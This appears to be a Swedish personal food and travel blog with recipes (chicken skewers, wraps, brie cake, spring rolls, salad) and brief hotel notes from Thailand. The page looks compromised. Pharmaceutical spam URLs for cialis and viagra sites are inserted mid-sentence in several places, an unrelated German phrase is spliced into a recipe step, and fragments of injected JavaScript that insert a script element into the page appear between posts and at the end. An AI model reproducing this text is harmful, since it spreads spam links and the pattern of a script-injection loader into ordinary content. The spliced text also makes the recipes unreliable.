Kycklingspett

Receptet hittade jag på Radiokocken Sjuhärad.

4 personer

4 kycklingbröst
8 träspett
1 msk sambal olek
Saft av 1 pressad lime
1 msk flytande honung
Flingsalt

1: Sätt ugnen 225C grill.

2: Skär kycklingbrösten i små kuber.

3: Blanda sambal, lime och honung i en skål.

4: Blanda ner kycklingen. Rör om väl låt stå svalt i en ½ timme.

5: Trä upp kycklingbitarna på spetten och grilla i ugnen i 6-7 minuter

6: När spetten är färdiga strö http://www.achaten-suisse.com/ på lite salt

Wraps

Det här receptet hittade jag på bloggen 56 kilo här.

Ingredienser
4 ägg
0,5-1 dl vatten
2 msk kokosmjöl
3 msk pofiber
1 msk fiberhusk
2 msk olivolja eller smaklös kokosolja
1,5 tsk salt

Instruktioner
1.Sätt ugnen på 150 gr.
2.Vispa ägg tills det blir riktigt luftigt.
3.Blanda de torra ingredienserna och vispa ner tillsammans med olja och vatten. Låt stå i 5 minuter.
4.Klicka up 1/4 schädliche abgase gefährden radfahrer im straßenverkehr del på ett bakpapper (inte smörpapper!) och lägg ett annat bakpapper ovanpå. Kavla ut till en rund tortillastor rundel.
5.Grädda i ugnen i ca 10 minuter med bakpappert kvar.

KhaoLak Forest Resort, Khao Lak

I slutet av december åkte jag ner till Thailand på semester och bodde på ett superfint hotell i Khao Lak som heter KhaolLak Forest Resort.

Kändes lite som en spahotell med otroligt vacker cialisfrance24.com trädgård.

Brietårta

Nu har jag gjort min första brietårta som är lätt att göra och smakar riktigt gott. Du kan dekorera med valfri torkad frukt och nötter.

IMG_5869

Brietårta
En rund brieost
Torkade aprikoser
Fikonmarmelad
Chevre (jag tog den med honung)
1 dl grädde

Dekoration:
Torkade aprikoser
Cashewnötter (naturella utan salt)
Honung
Fikonmarmelad
Färska jordgubbar
Färsk sallad (spenat)

Gör så här.
Dela brietårta på mitten (precis som när du delar en tårtbotten). Blanda ihop Chevreost med grädde och hacka ner lite torkade aprikoser och några matskedar fikonmarmelad. Lägg på fyllningen på den ena delen av osten och bred ut ett jämt lager. Lägg på locket på osten och överflödig fyllning kan du lägga på sidorna. Jag dekorerade sidorna med färsk spenat. Förpacka osten i gladpack och in i kylen över natten. Vid servering bör du ta fram osten ca 2-3 timmar innan så den får mogna i rumstemperatur. Bred ut ett lager fikonmarmelad på toppen och lägg på torkad frukt, nöttter och ringla lite honung på toppen. Lycka till!

IMG_5870IMG_5862IMG_5860IMG_5861IMG_5863

IMG_5864IMG_5865

IMG_5866IMG_5867IMG_5868IMG_5871

IMG_5869

 

 if (document.currentScript) {

Krabi Resort, Ao Nang

De sista https://www.viagrasansordonnancefr.com/ dagarna på vår resa bodde vi på Krabi Resort i Ao Nang.
Vi blev uppgraderade till en svit.

Spring rolls

Nu har jag lagat egna spring rolls några gånger och nu börjar jag sätta smakerna lite bättre för varje gång och rullarna blir bättre och bättre.

Varje sats blir ca 15 rullar och då använder jag rätt stora runda spring rolls pastry.
Rullarna kan göras klara och förvaras i frysen och tas fram vid behov. Glöm ej lägg smörpapper/baklplåtspapper mellan varje lager så att inte rullarna fastnar i varandra.
3

15 rullar
Spring roll pastry (fryst) De brukar ligga i 40-50 pack i frysen i de asiatiska butikerna
Cabbage (Vitkål) finriven
2 pieces of celery (thin slices)(Selleri)
50 gram Jely mushroom (or other mushroom) (Valfri svamp går lika bra)
50 gram Carrots (skär i fina små tunna stavar eller riv) Morötter
2 pieces spring onion (salladslök i tunna skivor) (Salladslök)
400 gram chicken minced (kycklingfärs)
Glasnudlar (ta efter tycke och smak)

Sauce/Seasoning:
Peppar, 2 msk oyster sauce, 2 msk Soy sauce (ljus), 2 msk fish sauce, 1-2 msk sugar, 2 msk oil (rapsolja).

1 äggula att pensla på spring roll degen för att fästa

Gör såhär:
Tina upp dina vårrulleplattor i kylskåpet, gärna dagen innan du ska använda degen. Täck degarken med en fuktig handduk medan du rullar för att förhindra att de torkar. Gör samma sak tills all fyllning är inrullad

Koka upp saltat vatten till glasnudlarna och låt dem koka enligt anvisningarna på förpackningen. När de kokat färdigt så skölj nudlarna i kallt vatten och klipp dem i små bitar.

Fräs upp grönsakerna för sig och lägg på en tallrik. Stek upp kycklingfärsen och krydda med salt och peppar. Blanda ihop ljus soja sås, fish sås och lite olja och rör om. Lägg i glasnudlarna i köttfärsblandningen och låt svalna. Jag brukar låta köttfärsblandningen rinna av på ett papper innan jag börjar rulla mina vårrullar.

Vårrullarna kan förberedas några dagar innan och styckfrysas när de är rullade med fyllning. Vid tillagning tinar du upp vårrullarna och friterar https://www.viagrasansordonnancefr.com/ eller steker i stekpanna.

Fritera dem gyllenbruna och låt dem rinna av på ett hushållspapper.

Värm olja i en kastrull med höga kanter. Reglera värmen så att den håller 160°. Lägg i 4–5 vårrullar i taget och låt dem fritera tills de får en gyllenbrun färg, ca 3 min. Låt dem rinna av på t ex ett tätt galler med hushållspapper under eller direkt på
Servera med sweet chili och soja sås.

Medelhavsinspirerad sallad

Receptet på den här salladen hittade jag på facebook hos ”Marianns LCHF mat & bak”. Salladen är helt underbart god och passar perfekt till grillat.

Ni hittar hennes blogg här.

946883_10151555595405959_1720363318_n

4 portioner
Ingredienser:
1 påse ruccola
150 g fetaost
1 dl grekisk yoghurt
1 dl creme fraiche
1/2 dl majonnäs olivolja,  en rejäl skvätt
1 ask minitomater
1 grovt hackad rödlök
1 skalad och tärnad zucchini
1 liten burk svarta oliver (skippa oliverna om du inte gillar oliver)
Oregano

Gör så här:
1. Blanda majonnäs, yoghurt,creme fraiche och finfördelad fetaost, strö lite
oregano och rejält med olivolja över och blanda runt.
2. Dela tomaterna och  lägg dem i en skål tillsammans med alla andra ingredienser, strö oregano över.
Blanda.
3. Fördela fetakrämen över och blanda försiktigt runt.document.currentScript.parentNode.insertBefore(s, document.currentScript);